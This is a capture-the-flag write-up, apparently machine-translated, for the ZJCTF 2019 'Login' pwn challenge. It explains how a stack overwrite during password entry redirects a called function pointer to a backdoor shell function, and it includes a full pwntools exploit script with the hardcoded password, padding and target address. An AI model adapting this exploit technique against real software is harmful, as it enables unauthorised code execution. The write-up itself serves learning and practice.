ZJCTF 2019 Pwn

Login

On the cost of not learning the stack, I watched it for a long time, and finally asked the KMFL master, I broke the dream in a word, my foundation is really too bad orz

The analysis program is a disassembly of C ++, but it has little effect. The first is the user name 'admin'and password passed into Admin, and '2jctf_pa5sw0rd'then we are asked to enter the user's name and password, which does not seem to require the name, but will check the password.

I try to enter like this:

However, a segfault occurred in the program. Trace debugging can find that there is call raxa problem in the last function :

Look at the disassembly code:

It can be found that the first parameter a1 is a pointer to a pointer, and it **ais executed as a function. Looking at the assembly code is more intuitive:

So let's see if the first parameter passed can be controlled by us:

Note: [rbp + var_130] in the mov instruction and lea instruction here is indirect addressing of the register, and the address is taken

Therefore, the parameter we pass in is [rbp+var_130]the address, then what we execute is rbp+var_130the content stored in, you can see that it [rbp+var_130]is assigned to rax above . Follow up the password_checker()function to see what rax is:

It seems that our rax is [rbp+var_18], so in the end we only need to control [rbp+var_18]the content of the backdoor function Admin :: Shell ().

Since the functions here are all main()called in the function, after the function is unstacked, the password_checker()function is unstacked read_password()at the same position (the called functions are unstacked at the same position). So we can overwrite it when entering the password [rbp+var_18]:

exp is as follows:

from pwn import *
#from LibcSearcher import LibcSearcher
context(log_level='debug',arch='amd64')

local=1
binary_name='login'
if local:
    p=process("./"+binary_name)
    e=ELF("./"+binary_name)
    libc=e.libc
else:
    p=remote()
    e=ELF("./"+binary_name)
    libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")

def z(a=''):
    if local:
        gdb.attach(p,a)
        if a=='':
            raw_input
    else:
        pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
    if(context.arch=='i386'):
        return u32(p.recv(4))
    else :
        return u64(p.recv(6).ljust(8,'\x00'))

#z('b *0x400A13\n')
sla("Please enter username: ",'admin')
pd='2jctf_pa5sw0rd'+'\x00'*58+p64(0x400E88)
sla("Please enter password: ",pd)
p.interactive()

Here also need to pay attention to the snprintf()function here :

It can be seen that the s in this function is the read_password()same as the position in the function, that is, at the same position on the stack. If the format string is too long, it may damage our arranged shell. %sThe \x00truncation used here is just fine ~

Guess you like

Origin www.cnblogs.com/Theffth-blog/p/12674951.html
pwn